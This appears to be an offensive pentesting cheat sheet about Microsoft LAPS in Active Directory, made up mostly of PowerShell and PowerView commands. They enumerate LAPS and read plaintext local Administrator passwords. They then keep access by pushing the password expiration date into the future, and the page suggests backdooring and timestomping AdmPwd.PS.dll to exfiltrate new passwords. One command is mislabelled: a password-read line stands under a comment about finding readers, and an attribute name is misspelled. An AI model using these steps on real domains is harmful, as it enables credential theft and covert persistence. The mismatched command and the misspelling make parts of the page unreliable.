LAPS

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Basic Information

LAPS allows you to manage the local Administrator password (which is randomised, unique, and changed regularly) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorised users using ACLs. Passwords are protected in transit from the client to the server using Kerberos v5 and AES.

When using LAPS, 2 new attributes appear in the computer objects of the domain: ms-msc-AdmPwd and ms-mcs-AdmPwdExpirationTime. These attributes contains the plain-text admin password and the expiration time. Then, in a domain environment, it could be interesting to check which users can read these attributes.

Check if activated

reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled

dir "C:\Program Files\LAPS\CSE"
# Check if that folder exists and contains AdmPwd.dll

# Find GPOs that have "LAPS" or some other descriptive term in the name
Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl

# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname

LAPS Password Access

You could download the raw LAPS policy from \\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol and then use Parse-PolFile from the GPRegistryPolicyParser package can be used to convert this file into human-readable format.

Moreover, the native LAPS PowerShell cmdlets can be used if they're installed on a machine we have access to:

Get-Command *AdmPwd*

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Cmdlet          Find-AdmPwdExtendedRights                          5.0.0.0    AdmPwd.PS
Cmdlet          Get-AdmPwdPassword                                 5.0.0.0    AdmPwd.PS
Cmdlet          Reset-AdmPwdPassword                               5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdAuditing                                 5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdComputerSelfPermission                   5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdReadPasswordPermission                   5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdResetPasswordPermission                  5.0.0.0    AdmPwd.PS
Cmdlet          Update-AdmPwdADSchema                              5.0.0.0    AdmPwd.PS

# List who can read LAPS password of the given OU
Find-AdmPwdExtendedRights -Identity Workstations | fl

# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl

PowerView can also be used to find out who can read the password and read it:

# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl

# Read the password
Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd

Finally, LAPSToolkit can also be useful for the same purpose.

LAPS Persistence

Expiration Date

Once admin, it's possible to obtain the passwords and prevent a machine from updating its password by setting the expiration date into the future.

# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime

# Change expiration time
## It's needed SYSTEM on the computer
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}

{% hint style="warning" %} The password will still reset if an admin uses the Reset-AdmPwdPassword cmdlet; or if Do not allow password expiration time longer than required by policy is enabled in the LAPS GPO. {% endhint %}

Backdoor

The original source code for LAPS can be found here, therefore it's possible to put a backdoor in the code (inside the Get-AdmPwdPassword method in Main/AdmPwd.PS/Main.cs for example) that will somehow exfiltrate new passwords or store them somewhere.

Then, just compile the new AdmPwd.PS.dll and upload it to the machine in C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll (and change the modification time).